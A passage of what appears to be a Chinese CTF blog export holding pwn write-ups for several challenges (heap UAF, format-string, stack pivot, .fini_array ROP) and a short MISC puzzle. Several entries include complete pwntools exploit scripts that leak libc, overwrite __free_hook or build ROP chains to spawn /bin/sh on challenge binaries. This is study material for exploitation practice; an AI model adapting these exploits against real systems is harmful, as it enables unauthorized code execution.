处,同时将 head 增加对应数量,但其增值并不会回绕,而会越过 Size,只要保证此时 head 不去变动,那么之后执行 Remove 也不会导致 tail 越过 head,再尝试 View 时则会因为 UAF 泄露地址。\npayload 1:\n["Add", "Add", "Add", "Remove", "Add", "Remove", "Add", "View","Remove", "Remove", "Remove", "View"]\n\n在最开始的 Add 中混入一个极大的内容,使得其被释放以后会被装入 Unsorted Bin ,然后在第一次 View 时使 head 越界,然后通过 Remove 使得 tail 回绕,那么再用 View 就会泄露 libc_Base 了。\n接下来需要构造 UAF ,通过 Append 写 free_hook:\n "Add", "Add", "Add","Add","Archive","Archive","Remove", "Remove", "Add", "Add", "Add","Add","Add","Add","View","Remove","Remove","Remove","Remove","Archive","Remove", "View"\n\n最精巧的是,上述payload会让容器内存状态如下,payload 2:\n #before View pwndbg> x/10gx 0x7ffdf0176b800x7ffdf0176b80: 0x0000000000000004 0x00000000000000020x7ffdf0176b90: 0x000055a6952062e0 0x0000000000000008pwndbg> x/10gx 0x000055a6952062e00x55a6952062e0: 0x000055a695206770 0x000055a6952067c00x55a6952062f0: 0x000055a6952062b0 0x000055a6952062b00x55a695206300: 0x000055a6952061e0 0x000055a6952062100x55a695206310: 0x000055a695206260 0x000055a695205e60#afterpwndbg> x/10gx 0x7ffdf0176b800x7ffdf0176b80: 0x0000000000000002 0x00000000000000080x7ffdf0176b90: 0x000055a6952062e0 0x0000000000000008pwndbg> x/10gx 0x000055a6952062e00x55a6952062e0: 0x000055a695206770 0x000055a6952067c00x55a6952062f0: 0x000055a6952061e0 0x000055a6952062100x55a695206300: 0x000055a695206260 0x000055a695205e600x55a695206310: 0x000055a695206770 0x000055a6952067c0\n\n最终在通过 make_contiguous 的整合以及 Remove 的回绕,将0x000055a6952067c0释放,并能够在之后通过 Append 写此处地址。\npayload 3:\n"Append","Archive","Append","Add"\n\n这里有一个一直没有注意到的可以利用的点,Append 操作中会调用 get_raw_line ,该函数会申请一块内存用以存放我们的输入。此时的 Bin 状态如下:\n0x30 [ 5]: 0x55a6952067c0 —▸ 0x55a695206260 —▸ 0x55a695206210 —▸ 0x55a6952061e0 —▸ 0x55a6952062b0 ◂— 0x0\n\n它会申请 0x55a6952067c0 处内存并向内储存数据。现在您可以已经发现了,在我们控制 0x55a6952067c0 的内存指向之后,再对其调用 Append 就能够任意地址写了。\n闲言:\n\n事实上,笔者在发现漏洞上并没有太多疑问,但却在漏洞利用上花了非常多时间。笔者最开始不打算参照 wp 中的 payload 去做,本想着能不能靠自己独立写出,但经过了非常长时间的搏斗,不得不说出题人对本题的理解真的好深,最后一次 make_contiguous 时需要的状态笔者在尝试自行构造时花了非常多时间也只能构造出差不多的样子,但完全不如出题人所用的那样优雅\n不过也可能只是我对 rust 不太熟悉的缘故吧,还是太菜了\n\nmy exp:\nfrom pwn import *context.log_level = "debug"p=process("./vdq")pay = '''[ "Add", "Add", "Archive", "Add", "Archive", "Add", "Add", "View", "Remove", "Remove", "Remove", "View", "Add", "Add", "Add","Add","Archive","Archive","Remove", "Remove", "Add", "Add", "Add","Add","Add","Add","View", "Remove","Remove","Remove","Remove","Archive","Remove", "View", "Append","Archive","Append","Add"]$'''p.sendlineafter('!\\n',pay)p.sendlineafter(': \\n','a'*0x80)p.sendlineafter(': \\n','a'*0x80)p.sendlineafter(': \\n','1'*0x410)p.sendlineafter(': \\n','a'*0x80)p.sendlineafter(': \\n','a'*0x80)p.recvuntil('Cached notes:')p.recvuntil('Cached notes:')p.recvuntil(' -> ')p.recvuntil(' -> ')leak_arena=0for i in range(8): leak_byte=int(p.recv(2),0x10) leak_arena+=leak_byte<<(i*8)print(hex(leak_arena))base=leak_arena-(0x7f57fd2b3ca0-0x7f57fcec8000)p.success('base:'+hex(base))__free_hook=base+0x7ff2888cb8e8-0x7ff2884de000p.success('__free_hook:'+hex(__free_hook))system=base+0x7ffff7617420-0x7ffff75c8000p.success('system:'+hex(system))for i in range(10): p.sendlineafter(': \\n','')p.sendlineafter(': \\n',flat([0,0,__free_hook-0xa,0x3030303030303030]))p.sendlineafter(': \\n',p64(system))p.sendlineafter(': \\n','/bin/sh\\0')p.interactive()\n\nMISCPlain TextdOBRO&nbsp;POVALOWATX&nbsp;NA&nbsp;MAT^,&nbsp;WY&nbsp;DOLVNY&nbsp;PEREWESTI&nbsp;\\TO&nbsp;NA&nbsp;ANGLIJSKIJ&nbsp;QZYK.&nbsp;tWOJ&nbsp;SEKRET&nbsp;SOSTOIT&nbsp;IZ&nbsp;DWUH&nbsp;SLOW.&nbsp;wSE&nbsp;BUKWY&nbsp;STRO^NYE.&nbsp;qBLO^NYJ&nbsp;ARBUZ.&nbsp;vELAEM&nbsp;WAM&nbsp;OTLI^NOGO&nbsp;DNQ.\n\n好像是读音,找个键盘表翻译一下就能拿到原文:\nдОБРО&nbsp;ПОВАЛОШАТХ&nbsp;НА&nbsp;МАТ^,ШЫ&nbsp;ДОЛВНЫ&nbsp;ПЕРЕШЕСТИ&nbsp;эТО&nbsp;НА&nbsp;АНГЛИЙСКИЙ&nbsp;ЯЗЫК.&nbsp;тШОЙ&nbsp;СЕКРЕТ&nbsp;СОСТОИТ&nbsp;ИЗ&nbsp;ДШУЧ&nbsp;СЛОШ.шСЕ&nbsp;БУКШЫ&nbsp;СТРО^НЫЕ.яБЛО^НЫЙ&nbsp;АРБУЗ.&nbsp;вЕЛАЕМ&nbsp;ШАМ&nbsp;ОТЛИ^НОГО&nbsp;ДНЯ.\n\n翻译成英文即可找到flag:\nWELCOME TO MATH^, WE SHOULD TRANSITION THIS TO ENGLISH. YOUR SECRET CONSISTS OF SLOW SHORT.APPLE ^ WATERMELON.WE HAVE A GREAT DAY.\n\n\n插画ID:96449673\n","categories":["CTF题记","Note"],"tags":["CTF"]},{"title":"plaidctf2015 - ebp —— FMT记录","url":"/2021/09/14/plaidctf2015-ebp/","content":"        本来是在看OFF-BY-ONE的,WIKI里将这个比赛的某题作为范例,但BUU只有“ebp”这题,于是顺手做了一下。然后才发现自己似乎一直以来有些太过依赖fmtstr_payload这种操作了,真到了需要自己一步步手动调试和操作的时候才发现,自己根本就不会构造payload……\n    具体的笔记等以后详细的学完了fmt再补吧,现在先记录一下这件事,并且补一个记录\n\n“%?$p”\n这个格式化字符串打印相对format参数正向偏移任意栈地址中的内容,其中的p可以用d,x等替代\n“%(number)c%?$hn”\n这个格式化字符串可以实现向第?个参数存的地址的低字节中写数据,数据值为number的值(%hn,将指针视为 short 型指针,更为常用,因为要写入多大的数字,就需要打印多少个字符,如果直接用 int 操作,数字较大时打印会很慢,所以经常用%hn分两步进行)。 \n注意这里的%(number)c%?n(或%?hn)是把从格式化字符串所在栈地址开始,正向偏移的第?个栈地址中存放的值取出,作为一个地址(addr),并往这个addr中写入number这个数值\n\n摘自:https://blog.csdn.net/qq_29947311/article/details/70176304\n可供参考列表:\nhttp://geeksspeak.github.io/blog/2015/04/20/plaidctf-ctf-2015-ebp-writeup/\nhttps://www.cnblogs.com/wangaohui/p/4455048.html\nhttp://shell-storm.org/shellcode/files/shellcode-236.php\nhttps://www.zybuluo.com/pnck/note/91523\n","categories":["CTF题记","Note"],"tags":["CTF"]},{"title":"第五空间2019 决赛 - PWN5笔记与借鉴","url":"/2021/07/23/pwn0/","content":"逻辑是简单的:\n系统生成一个随机数,并让用户分别输入用户名与密码,当密码与随机数相同时成功。\n大佬给出的思路:\n思路1:直接利用格式化字符串改写unk_804C044之中的数据,然后输入数据对比得到shell\n思路2:利用格式化字符串改写atoi的got地址,将其改为system的地址,配合之后的输入,得*到shell。这种方法具有普遍性,也可以改写后面的函数的地址,拿到shell\n思路3:bss段的unk_804C044,是随机生成的,而我们猜对了这个参数,就可以执行system(“/bin/sh”),刚好字符串格式化漏洞可以实现改写内存地址的值\n#exp1from pwn import *p = process('./pwn5')addr = 0x0804C044#地址,也就相当于可打印字符串,共16bytepayload = p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3)#开始将前面输出的字符个数输入到地址之中,hhn是单字节输入,其偏移为10#%10$hhn就相当于读取栈偏移为10的地方的数据,当做地址,然后将前面的字符数写入到地址之中payload += "%10$hhn%11$hhn%12$hhn%13$hhn"p.sendline(payload)p.sendline(str(0x10101010))p.interactive()\n\nfrom pwn import *p = process('./pwn5')elf = ELF('./pwn5')atoi_got = elf.got['atoi']system_plt = elf.plt['system']payload=fmtstr_payload(10,{atoi_got:system_plt})p.sendline(payload)p.sendline('/bin/sh\\x00')p.interactive()\n\nfrom pwn import *#context.log_level = "debug"p = remote("node3.buuoj.cn",26486)unk_804C044 = 0x0804C044payload=fmtstr_payload(10,{unk_804C044:0x1111})p.sendlineafter("your name:",payload)p.sendlineafter("your passwd",str(0x1111))p.interactive()\n\n主要是想要记录一下 fmtstr_payload 函数这个神奇的操作\n可以参考:Pwntools—fmtstr_payload()介绍\n该函数根据设定生成一个用于改写指定地址数据的payload(注:节区需要拥有写权限)\n第二第三个思路的exp都运用了这种方法\n第一个参数的来源:输入AAAA%10$p将会得到0x41414141,这里的10即是第一个参数,即从该偏移开始填充输入值\n第二个参数则是原值与替换值的字典形式\n还有第三第四参数,但并不常用,暂时不记录\n插画ID:90640803\n","categories":["CTF题记","Note"]},{"title":"GKCTF 2021 - checkin调试与分析","url":"/2021/07/23/pwn1/","content":"​\n        目前笔者刚刚开始入门PWN,算是通过这题涨了点见识吧\n主要函数:\nint sub_4018C7(){ char buf[32]; // [rsp+0h] [rbp-20h] BYREF puts("Please Sign-in"); putchar(62); read(0, s1, 0x20uLL); puts("Please input u Pass"); putchar(62); read(0, buf, 0x28uLL); if ( strncmp(s1, "admin", 5uLL) sub_401974(buf) ) { puts("Oh no"); exit(0); } puts("Sign-in Success"); return puts("BaileGeBai");}\n\n        sub_401974实为一个md5加密与对比函数,它会将buf进行md5后与固定值对比\n__int64 __fastcall sub_401974(const char *a1){ unsigned int v1; // eax char v3[96]; // [rsp+10h] [rbp-90h] BYREF __int64 v4[2]; // [rsp+70h] [rbp-30h] char v5[28]; // [rsp+80h] [rbp-20h] BYREF int i; // [rsp+9Ch] [rbp-4h] v4[0] = 0xA7A5577A292F2321LL; v4[1] = 0xC31F804A0E4A8943LL; sub_4007F6(v3); v1 = strlen(a1); sub_400842(v3, a1, v1); sub_400990(v3, v5); for ( i = 0; i <= 15; ++i ) { if ( *(v4 + i) != v5[i] ) return 1LL; } return 0LL;}\n\n        从对比方法开始说起吧,v4数组即为固定的md5值,比对方法为逐比特位对比\nint main(){INT64 v4[2];v4[0] = 0xA7A5577A292F2321;v4[1] = 0xC31F804A0E4A8943;BYTE k[16];for (int i = 0; i < 16; i++){k[i] = *((BYTE*)v4 + i);printf("%x", k[i]);}}//21232f297a57a5a743894ae4a801fc3\n\n         通过对比可以发现,这个得到的结果就是v4[0]与v4[1]按照比特位分别逆序后的拼接,底层的储存方式按照小端序而被IDA识别为代码中的整数\n        以及,我们可以通过一些查询得到该md5为‘admin’的md5值\n        那么只要我们输入两次admin,就能够顺利运行到loc_40195D处,便能够利用栈溢出了\n.text:000000000040195D loc_40195D: ; CODE XREF: sub_4018C7+80↑j.text:000000000040195D mov edi, offset aSignInSuccess ; "Sign-in Success".text:0000000000401962 call _puts.text:0000000000401967 mov edi, offset aBailegebai ; "BaileGeBai".text:000000000040196C call _puts.text:0000000000401971 nop.text:0000000000401972 leave.text:0000000000401973 retn\n\n        但这样还不够,程序调用的是read函数,有规定的读取上限\n        特殊的,第二个read函数的读取上限高于buf的界定值,产生溢出,正好覆盖RBP处的值\n        以及上一层在0x4018BF处调用该函数\n.text:00000000004018BF call sub_4018C7.text:00000000004018C4 nop.text:00000000004018C5 leave.text:00000000004018C6 retn\n\n        当主要函数retn后,立刻进入第二次retn,存在栈迁移的可能\n        那么可以照如下方式构造payload\npop_rdi=0x401ab3puts=0x4018B5puts_got=0x602028name_addr=0x602400payload1="admin".ljust(8,'\\x00')+p64(pop_rdi)+p64(puts_got)+p64(puts)payload2="admin".ljust(8,'\\x00')+'a'*24+p64(name_addr)\n\n        name_addr将会在执行\nread(0, buf, 0x28uLL);\n\n        时将RBP覆盖,然后存在两层leave指令\n        当到达第二次leave指令,就相当于如下指令执行\nmov esp,ebp;esp=0x602400,ebp=0x602400pop ebp ;esp=0x602408,ebp=0x602400\n\n        此时再执行retn指令,就会返回到 pop_rdi 处,并按照payload1的顺序执行下去造成库地址泄露(注意,我使用的puts地址将会让我返回到 puts=0x4018b5+8 处,籍此再次进入主要函数)\n        但第二次进入主要函数时候则不再像第一次那样容易了,因为这次的RBP与s1数组的位置很近,输入值将会造成覆盖(buf是从rbp-20h处开始的,而当我们再次到达第二个read的时候,rbp将会是0x602410,那么我们的输入值就会覆盖掉s1,导致常规的逐步构造无法成功)\nchar buf[32]; // [rsp+0h] [rbp-20h] BYREF\n\n        但也有不需要那么多参数的方法来得到shell,这里可以用onegadget实现\na@ubuntu:~/Desktop/timu$ one_gadget ./libc.so.60x45226execve("/bin/sh", rsp+0x30, environ)constraints: rax == NULL0x4527aexecve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL0xf03a4execve("/bin/sh", rsp+0x50, environ)constraints: [rsp+0x50] == NULL0xf1247execve("/bin/sh", rsp+0x70, environ)constraints: [rsp+0x70] == NULL\n\n        也就是说,只要我们得到了库的基地址,就可以用一行跳转直接得到shell,如果只有一行的话,就不用担心覆盖问题了,因此exp可以这样写\nfrom pwn import *context.log_level='debug'p=process("./login")elf=ELF("./login")libc=elf.libcpop_rdi=0x401ab3puts=0x4018B5puts_got=0x602028ret_addr=0x400641name_addr=0x602400payload1="admin".ljust(8,'\\x00')+p64(pop_rdi)+p64(puts_got)+p64(puts)p.recvuntil('>')p.send(payload1)p.recvuntil('>')payload2="admin".ljust(8,'\\x00')+'a'*24+p64(name_addr)p.send(payload2)libc_base=u64(p.recvuntil('\\x7f')[-6:]+'\\x00\\x00')-libc.sym['puts']print hex(libc_base)payload3 = 'admin\\x00\\x00\\x00'*3 +p64(0x4527a+libc_base)p.send(payload3)p.recvuntil('>')#payload = 'admin\\x00\\x00\\x00'*4 + p64( name_addr + 0x18 )payload4 = 'admin\\x00\\x00\\x00'*4 + p64( 0x602500 )p.send(payload4)p.interactive()\n\n        值得注意的是,当笔者通过gdb附加调试之后发现,这一轮的跳转中,我们只会返回到payload3中的 p64(0x4527a+libc_base) 地址,和payload4中的地址已经没用太大关系了,只要保证payload4能够让程序返回即可\n        但笔者还是在这里为payload4加上了一个地址\n        正如上面所说,我们只需要用到一个返回地址即可,那倘若我们让程序第三次返回到puts=0x4018b5+8 处,这一次,RBP就会是payload4中的地址了,那么这样就能进入第三轮输入,这一次就不会出现覆盖问题,就能够像第一步的操作那样,让程序返回到system函数,将‘/bin/sh’的地址pop rdi了\n后话:\n        算是通过这一题学着怎么用gdb了,虽然用着还是很生涩,希望多做几题之后能渐渐熟练起来吧……不过多留心一下栈堆总是好的,用IDA动调的时候倒是很会看,一旦用起了gdb就容易忽视掉这些东西,还是要多留个心眼……\n附一下参考的地址:\ngdb查看指定地址内存内容:https://www.cnblogs.com/super119/archive/2011/03/26/1996125.html\n[原创]pwn中one_gadget的使用技巧 :https://bbs.pediy.com/thread-261112.htm\ngdb的基本命令:https://blog.csdn.net/qq_26399665/article/details/81165684 ​\n插画ID:90726137\n","categories":["CTF题记","Note"]},{"title":"pwnable - 3x17 分析与思考","url":"/2021/09/04/pwnable-3x17/","content":"​\n         有点炫酷的利用方式,不得不承认,确实让我长见识了。\n正文:void __fastcall __noreturn start(__int64 a1, __int64 a2, int a3){ __int64 v3; // rax int v4; // esi __int64 v5; // [rsp-8h] [rbp-8h] BYREF void *retaddr; // [rsp+0h] [rbp+0h] BYREF v4 = v5; v5 = v3; sub_401EB0(sub_401B6D, v4, &retaddr, sub_4028D0, sub_402960, a3, &v5); __halt();}\n\n\n        由于符号表完全抹去,所以只能从start函数开始,但要找到main函数却不是很困难\n__int64 sub_401B6D(){ __int64 result; // rax char *v1; // [rsp+8h] [rbp-28h] char buf[24]; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v3; // [rsp+28h] [rbp-8h] v3 = __readfsqword(0x28u); result = ++byte_4B9330; if ( byte_4B9330 == 1 ) { sub_446EC0(1u, "addr:", 5uLL); sub_446E20(0, buf, 0x18uLL); v1 = sub_40EE70(buf); sub_446EC0(1u, "data:", 5uLL); sub_446E20(0, v1, 0x18uLL); result = 0LL; } if ( __readfsqword(0x28u) != v3 ) sub_44A3E0(); return result;}\n\n\n         经过简单的分析可以发现,程序提供了一个简单的“任意地址读写功能”,但每次只能读取0x18个字节\n        显然,这完全不够用,不论是写rop还是shellcode,因此当下的目标是希望能够写更多的内容\n\n具体参考该文章:https://blog.csdn.net/gary_ygl/article/details/8506007\n本篇博客只进行简要的描述\n\n         一个程序从启动到main函数再到结束的这一过程中有多个必然存在的函数起作用,以如下为例:\nvoid __fastcall __noreturn start(__int64 a1, __int64 a2, void (*a3)(void)){ __int64 v3; // rax int v4; // esi __int64 v5; // [rsp-8h] [rbp-8h] BYREF char *retaddr; // [rsp+0h] [rbp+0h] BYREF v4 = v5; v5 = v3; _libc_start_main(main, v4, &retaddr, init, fini, a3, &v5); __halt();}\n\n\n其运行流程为:\n\nstart函数\n_libc_start_main函数\n__libc_csu_init\nmain函数\n__libc_csu_fini\n\n        程序在最终将会回到_libc_start_main,并调用其中的exit函数退出\n        本例中的init和fini为指向__libc_csu_init与__libc_csu_fini的指针\n        而在这两个函数中,又会通过.init_array与.fini_array数组中的地址来调用对应的函数\n        结论是:\n\n.__libc_csu_init\n.init_array[0]\n.init_array[1]\n…\n.init_array[n]\nmain\n__libc_csu_init\n.fini_array[n]\n…\n.fini_array[1]\n.fini_array[0]\n\n        在有如上知识之后,攻击目标便明确了,如果试图复写fini_array数组为main,则又会重新进入main,如果再加上__libc_csu_fini函数地址,就能实现无限次数的任意地址读写了\n        若能进行任意地址任意大小的读写,那么只要找个合适的段写入rop链,并让程序返回到这里即可(也可以尝试写入shellcode,但往往没办法找到合适段,也因为找不到mprotect函数,所有不太容易修改执行权限)\n        本例中的利用方法相当特别,观察__libc_csu_fini函数:\n.text:0000000000402960 sub_402960 proc near ; DATA XREF: start+F↑o.text:0000000000402960 ; __unwind {.text:0000000000402960 push rbp.text:0000000000402961 lea rax, unk_4B4100.text:0000000000402968 lea rbp, off_4B40F0.text:000000000040296F push rbx.text:0000000000402970 sub rax, rbp.text:0000000000402973 sub rsp, 8.text:0000000000402977 sar rax, 3.text:000000000040297B jz short loc_402996.text:000000000040297D lea rbx, [rax-1].text:0000000000402981 nop dword ptr [rax+00000000h].text:0000000000402988.text:0000000000402988 loc_402988: ; CODE XREF: sub_402960+34↓j.text:0000000000402988 call qword ptr [rbp+rbx*8+0].text:000000000040298C sub rbx, 1.text:0000000000402990 cmp rbx, 0FFFFFFFFFFFFFFFFh.text:0000000000402994 jnz short loc_402988.text:0000000000402996.text:0000000000402996 loc_402996: ; CODE XREF: sub_402960+1B↑j.text:0000000000402996 add rsp, 8.text:000000000040299A pop rbx.text:000000000040299B pop rbp.text:000000000040299C jmp _term_proc.text:000000000040299C ; } // starts at 402960.text:000000000040299C sub_402960 endp\n\n\n         0000000000402968处将rbp置为0x4B40F0,对应了.fini_array数组,而在这个数组下面还有一个.data.rel.ro段可用于读写\n.fini_array:00000000004B40F0 _fini_array segment qword public 'DATA' use64.fini_array:00000000004B40F0 assume cs:_fini_array.fini_array:00000000004B40F0 ;org 4B40F0h.fini_array:00000000004B40F0 off_4B40F0 dq offset sub_401B00 ; DATA XREF: sub_4028D0+4C↑o.fini_array:00000000004B40F0 ; sub_402960+8↑o.fini_array:00000000004B40F8 dq offset sub_401580.fini_array:00000000004B40F8 _fini_array ends.data.rel.ro:00000000004B4100 _data_rel_ro segment align_32 public 'DATA' use64.data.rel.ro:00000000004B4100 assume cs:_data_rel_ro.data.rel.ro:00000000004B4100 ;org 4B4100h.data.rel.ro:00000000004B4100 unk_4B4100 db 2 ; DATA XREF: sub_402960+1↑o.data.rel.ro:00000000004B4100 ; sub_40EBF0:loc_40ECC8↑o ....data.rel.ro:00000000004B4101 db 0.data.rel.ro:00000000004B4102 db 0\n\n\n         而0000000000402988处则会直接call入.fini_array中指向的地址\n        那么,如果我们修改fini_array[0]为leave_ret地址,rsp就会被劫持到这里,然后通过ret或者pop将其指向00000000004B4100,即可完成劫持,运行构造好的rop链\n        不过现在一想,这种复写.fini_array的方式实际上是在进行类似于递归的操作,那么程序迟早会被掐掉…..或许在某些时候会成为一种限制吧……\n完整exp:#coding=utf-8from pwn import *import sysreload(sys)sys.setdefaultencoding('utf8')context.log_level='debug'#p=process("./3x17")p=remote("node4.buuoj.cn",25584)elf=ELF("./3x17")finiarr=0x0000000004B40F0main=0x401B6Dlibc_scu_fini=0x402960p.sendlineafter("addr:",str(finiarr))p.sendlineafter("data:",p64(libc_scu_fini)+p64(main))rdi_ret=0x0000000000401696rsi_ret=0x0000000000406c30rdx_ret=0x0000000000446e35leave_ret=0x401C4Bsyscall=0x4022b4poprax = 0x41e4af#gdb.attach(p)ret=0x0000000000401016p.sendlineafter("addr:",str(finiarr+0x10))p.sendlineafter("data:",p64(rsi_ret)+p64(0))p.sendlineafter("addr:",str(finiarr+0x20))p.sendlineafter("data:",p64(rdx_ret)+p64(0))p.sendlineafter("addr:",str(finiarr+0x30))p.sendlineafter("data:",p64(poprax)+p64(0x3b))p.sendlineafter("addr:",str(finiarr+0x40))p.sendlineafter("data:",p64(rdi_ret)+p64(finiarr+0x60))p.sendlineafter("addr:",str(finiarr+0x50))p.sendlineafter("data:",p64(syscall))p.sendlineafter("addr:",str(finiarr+0x60))p.sendlineafter("data:",'/bin/sh\\x00')p.sendlineafter("addr:",str(finiarr))p.sendafter("data:",p64(leave_ret)+p64(ret))p.interactive()\n\n ​\n参考文章:\nhttps://xuanxuanblingbling.github.io/ctf/pwn/2019/09/06/317/\nhttps://blog.csdn.net/gary_ygl/article/details/8506007\n插画ID:91513024\n","categories":["CTF题记","Note"],"tags":["CTF"]},{"title":"SECCON CTF 2016 Quals - Chat 分析与思考","url":"/2021/08/21/seccon-ctf-2016-quals-chat/","content":"​\n         CTFSHOW吃瓜杯,PWN方向第三题竟是SECCON原题,于是当时没有仔细研究,直接套用了其他大佬的EXP(第二第三第四题都是各大比赛的原题,网上可以直接找到写好的EXP……)\n        既然现在比赛结束了,正好来补一下WP。收获很大,说明我还非常菜…..\n正文:函数:        Main:\nint __cdecl main(int argc, const char **argv, const char **envp){ int v3; // eax int v4; // eax int v6; // [rsp+0h] [rbp-B0h] _QWORD *v7; // [rsp+8h] [rbp-A8h] BYREF char v8[136]; // [rsp+10h] [rbp-A0h] BYREF unsigned __int64 v9; // [rsp+98h] [rbp-18h] v9 = __readfsqword(0x28u); v7 = 0LL; fwrite("Simple Chat Service\\n", 1uLL, 0x14uLL, stdout); do { if ( v7 ) { service(v7); logout(&v7); } fwrite("\\n1 : Sign Up\\t2 : Sign In\\n0 : Exit\\nmenu > ", 1uLL, 0x29uLL, stdout); v3 = getint(); v6 = v3; if ( v3 ) { if ( v3 < 0 v3 > 2 ) { fwrite("Wrong Input...\\n", 1uLL, 0xFuLL, stderr); } else { fwrite("name > ", 1uLL, 7uLL, stdout); getnline(v8, 32LL); if ( v6 == 1 ) v4 = signup(v8); else v4 = login(&v7, v8); if ( v4 == 1 ) fwrite("Success!\\n", 1uLL, 9uLL, stdout); else fwrite("Failure...\\n", 1uLL, 0xBuLL, stderr); } } } while ( v6 ); return fwrite("Thank you for using Simple Chat Service!\\n", 1uLL, 0x29uLL, stdout);}\n\n\n        Service: \nunsigned __int64 __fastcall service(_QWORD *a1){ unsigned int v1; // eax int v2; // eax int v4; // [rsp+14h] [rbp-9Ch] __int64 v5; // [rsp+18h] [rbp-98h] char v6[136]; // [rsp+20h] [rbp-90h] BYREF unsigned __int64 v7; // [rsp+A8h] [rbp-8h] v7 = __readfsqword(0x28u); fwrite("\\nService Menu\\n", 1uLL, 0xEuLL, stdout); do { fwrite( "\\n" "1 : Show TimeLine\\t2 : Show DM\\t3 : Show UsersList\\n" "4 : Send PublicMessage\\t5 : Send DirectMessage\\n" "6 : Remove PublicMessage\\t\\t7 : Change UserName\\n" "0 : Sign Out\\n" "menu >> ", 1uLL, 0xA3uLL, stdout); v4 = getint(); switch ( v4 ) { case 0: break; case 1: get_tweet(0LL); break; case 2: get_tweet(a1); break; case 3: list_users(); break; case 4: fwrite("message >> ", 1uLL, 0xBuLL, stdout); getnline(v6, 0x80LL); post_tweet(a1, 0LL, v6); break; case 5: fwrite("name >> ", 1uLL, 8uLL, stdout); getnline(v6, 32LL); v5 = get_user(v6); if ( v5 ) { fwrite("message >> ", 1uLL, 0xBuLL, stdout); getnline(v6, 128LL); post_tweet(a1, v5, v6); } else { fprintf(stderr, "User '%s' does not exist.\\n", v6); } break; case 6: fwrite("id >> ", 1uLL, 6uLL, stdout); v1 = getint(); v2 = remove_tweet(a1, v1); if ( v2 == -1 ) { fwrite("Can not remove other user's message.\\n", 1uLL, 0x25uLL, stderr); } else if ( !v2 ) { fwrite("Message not found.\\n", 1uLL, 0x13uLL, stderr); } break; case 7: fwrite("name >> ", 1uLL, 8uLL, stdout); getnline(v6, 32LL); if ( change_name(a1, v6) < 0 ) v4 = 0; break; default: fwrite("Wrong Input...\\n", 1uLL, 0xFuLL, stderr); break; } if ( v4 ) fwrite("Done.\\n", 1uLL, 6uLL, stdout); } while ( v4 ); return __readfsqword(0x28u) ^ v7;}\n\n\n        程序大致实现了一个聊天室功能,能够注册、公共频道发消息、私信等等。\n        审计代码时务必要捋清每个变量的意义,否则会因为大量的指针而失去方向。\n         如下结构体为程序所用到的两个结构,整个程序从头到尾都只会对这两个结构进行操作,当然,要得出这样的结构体需要经过仔细的审计,其过程本文不再赘述,仅提供结果以方便之后的理解\nstruct user { char *name; struct message *msg; struct user *next_user;}struct message { int id ; // use in tweet (public message) only struct user *sender; char content[128]; struct message *next_msg;}\n\n\n漏洞分析与利用:__int64 __fastcall change_name(_QWORD *a1, const char *a2){...... else { fwrite("Change name error...\\n", 1uLL, 0x15uLL, stderr); remove_user(a1); result = 0xFFFFFFFFLL; } return result;}\n\n\nvoid __fastcall remove_user(__int64 a1){ __int64 i; // [rsp+18h] [rbp-18h] _QWORD *ptr; // [rsp+20h] [rbp-10h] _QWORD *v3; // [rsp+28h] [rbp-8h] _QWORD *v4; // [rsp+28h] [rbp-8h] void *v5; // [rsp+28h] [rbp-8h] for ( ptr = *(a1 + 8); ptr; ptr = v3 ) { v3 = ptr[18]; free(ptr); } for ( i = tl; i; i = *(i + 144) ) { if ( *(i + 0x90) && *(*(i + 144) + 8LL) == a1 ) { v4 = *(i + 144); *(i + 144) = v4[18]; free(v4); } } if ( tl && *(tl + 8) == a1 ) { v5 = tl; tl = *(tl + 144); free(v5); } free(*a1); free(a1);}\n\n\n        remove_user函数在程序中异常的扎眼。当用户尝试修改用户名时将进行检测,如果用户名的首字母是不可打印字符,就会直接将这个用户删除。但在remove_user中可以看见,并没有对free后的指针进行置NULL,看起来像是UAF,但该漏洞并不体现在free上,而是在该函数的逻辑上\n        该函数将按如下顺序释放内存块:\n\n将发送给该目标的私信message 释放\n将该用户发送到公频的message 释放\n将该用户的name 释放\n将该用户本身释放\n\n        但是,它并没有将该用户发送给其他用户的私信message释放,那么在其他用户看来,当该用户被删除之后,私信会变成什么样?如下过程进行了测试,笔者以F2按键按下的内容作为用户“aa”的新名字让其被删除,再显示用户“bb”收到的内容\nSimple Chat Service1 : Sign Up2 : Sign In0 : Exitmenu > 1name > aaSuccess!1 : Sign Up2 : Sign In0 : Exitmenu > 1name > bbSuccess!1 : Sign Up2 : Sign In0 : Exitmenu > 2name > aaHello, aa!Success!Service Menu1 : Show TimeLine2 : Show DM3 : Show UsersList4 : Send PublicMessage5 : Send DirectMessage6 : Remove PublicMessage7 : Change UserName0 : Sign Outmenu >> 5name >> bbmessage >> from aDone.1 : Show TimeLine2 : Show DM3 : Show UsersList4 : Send PublicMessage5 : Send DirectMessage6 : Remove PublicMessage7 : Change UserName0 : Sign Outmenu >> 7name >> ^[OQChange name error...Bye, 1 : Sign Up2 : Sign In0 : Exitmenu > 2name > bbHello, bb!Success!Service Menu1 : Show TimeLine2 : Show DM3 : Show UsersList4 : Send PublicMessage5 : Send DirectMessage6 : Remove PublicMessage7 : Change UserName0 : Sign Outmenu >> 2Direct Messages[] from aDone.\n\n\n        收到私信显示的名字出现了异常,但消息仍然能被显示出来\n__int64 __fastcall get_tweet(__int64 a1){ const char *v1; // rax __int64 v2; // rax unsigned int v4; // [rsp+1Ch] [rbp-14h] unsigned int *v5; // [rsp+20h] [rbp-10h] char *format; // [rsp+28h] [rbp-8h] if ( a1 ) fprintf(stdout, "Direct Messages\\n"); else fprintf(stdout, "Time Line\\n"); if ( a1 ) v1 = "[%s] %s\\n"; else v1 = "(%3$03d)[%s] %s\\n"; format = v1; v4 = 0; if ( a1 ) v2 = *(a1 + 8); else v2 = tl; v5 = v2; while ( v5 ) { fprintf(stdout, format, **(v5 + 1), v5 + 4, *v5); v5 = *(v5 + 18); ++v4; } return v4;}\n\n\n        显示规则如上,此处的变量 a1 为指向当前登录用户结构体的指针\n        输出的名字为 **(v5 + 1) \n        既然该消息没有被释放,那么此处构成**UAF(Use After Free)**,只要能够操作 *(v5+1) 的内容,就能泄露任意地址的内容\n        *(v5+1) 为一个指向 name 的指针,在创建账号的时候会开辟一个user,然后再开辟一个name:\n__int64 __fastcall signup(const char *a1){ __int64 result; // rax int v2; // [rsp+14h] [rbp-Ch] _QWORD *ptr; // [rsp+18h] [rbp-8h] if ( get_user(a1) ) { fprintf(stderr, 